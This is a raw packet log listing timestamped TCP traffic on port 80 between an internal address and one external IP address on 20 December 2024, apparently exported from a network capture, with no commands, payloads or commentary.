Dec 20, 2024 21:13:13.062654972 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.062772989 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.062810898 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.062877893 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.063374043 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.063441992 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.063481092 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.063658953 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.064229965 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.064323902 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.064332008 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.064390898 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.065191984 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.065279007 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.065335989 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.065399885 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.066080093 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.066142082 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.066149950 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.066371918 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.066876888 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.066927910 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.067004919 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.067059994 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.067745924 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.067809105 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.068084955 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.068193913 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.068639040 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.068790913 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.068845987 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.069525003 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.069648027 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.069658995 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.069736004 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.070504904 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.070669889 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.070811033 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.070905924 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.071377039 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.071476936 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.071491003 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.071548939 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.072099924 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.072154045 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.072232008 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.072294950 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.072971106 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.073081970 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.073221922 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.073292971 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.073801994 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.073874950 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.073951960 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.074043989 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.074731112 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.074790001 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.074842930 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.074901104 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.075704098 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.075771093 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.075826883 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.075875998 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.076456070 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.076498032 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.076615095 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.076663017 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.077311039 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.077420950 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.077469110 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.077469110 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.078175068 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.078236103 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.078315973 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.078438044 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.079062939 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.079121113 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.079144955 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.079200029 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.079957008 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.080027103 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.080065966 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.080159903 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.080810070 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.080876112 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.080882072 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.081008911 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.081724882 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.081836939 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.081850052 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.081911087 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.082565069 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.082653999 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.082679987 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.082699060 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.083399057 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.083475113 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.083520889 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.083632946 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.084394932 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.084431887 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.084470034 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.085191011 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.085254908 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.085283041 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.085336924 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.086072922 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.086170912 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.086205959 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.086230993 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.086946011 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.087021112 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.087074041 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.087913990 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.087985992 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.088048935 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.088152885 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.088603973 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.088663101 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.088748932 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.088901043 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.089513063 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.089618921 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.089632034 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.089683056 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.090509892 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.090544939 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.090583086 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.090646982 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.091330051 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.091368914 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.091427088 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.239376068 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.239393950 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.239464998 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.239464998 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.239576101 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.239636898 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.239808083 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.239862919 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.240236998 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.240333080 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.240392923 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.241002083 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.241075039 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.241219044 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.241240978 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.241278887 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.241278887 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.241849899 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.241900921 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.241928101 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.241950989 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.242595911 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.242701054 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.242774963 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.242822886 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.243537903 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.243627071 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.243717909 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.243766069 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.244220018 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.244292974 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.244385004 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.244484901 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.245114088 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.245167017 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.245256901 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.245311022 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.246041059 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.246089935 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.246136904 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.246176004 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.246846914 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.246925116 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.247294903 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.247356892 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.247776031 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.247833967 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.248023987 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.248092890 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.248589039 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.248647928 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.248703957 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.248769045 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.249469995 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.249548912 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.249576092 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.249732018 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.250468016 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.250479937 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.250541925 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.251214981 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.251331091 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.251425028 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.251554966 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.252338886 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.252388000 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.252413034 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.252459049 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.252929926 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.252996922 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.253104925 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.253197908 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.253855944 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.253933907 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.254054070 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.254105091 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.254859924 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.254914999 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.254945040 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.254986048 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.255650043 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.255748987 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.255825043 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.255872965 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.256453991 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.256525040 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.256638050 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.256743908 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.257325888 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.257392883 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.257447958 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.257531881 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.258188963 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.258265972 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.258306980 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.258402109 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.259047031 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.259095907 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.259193897 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.259253979 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.260027885 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.260090113 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.260164976 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.260301113 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.260790110 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.260881901 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.260943890 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.260992050 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.261729956 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.261810064 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.262096882 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.262263060 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.262521029 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.262629986 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.262629986 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.262715101 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.263499975 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.263565063 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.263570070 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.263631105 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.264298916 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.264364958 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.264369011 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.264463902 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.265161991 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.265240908 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.265295982 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.265458107 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.266030073 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.266135931 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.266205072 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.266266108 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.266988039 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.267060041 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.267076969 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.267132044 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.267738104 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.267829895 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.267887115 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.268126011 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.268615007 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.268670082 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.268748999 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.268800020 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.269488096 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.269596100 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.269599915 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.269654989 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.270406008 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.270457983 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.270476103 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.270522118 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.271270990 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.271337986 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.271384954 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.271441936 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.272103071 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.272187948 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.272198915 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.272329092 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.273024082 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.273087025 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.273112059 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.273204088 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.273829937 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.273896933 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.273916006 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.273967028 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.274749041 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.274760008 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.274827003 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.275624037 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.275686979 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.275737047 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.276417017 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.276526928 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.276560068 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.276658058 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.277347088 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.277441025 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.277473927 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.277601957 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.278147936 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.278223991 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.278259993 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.278302908 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.279115915 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.279182911 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.279221058 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.279309988 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.279947996 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.280010939 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.280015945 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.280056953 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.280812979 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.280911922 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.280960083 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.281040907 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.281723976 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.281806946 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.281873941 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.282639980 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.282650948 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.282696009 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.282746077 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.283489943 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.283541918 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.283565998 CET	80	49849	31.41.244.11	192.168.2.6
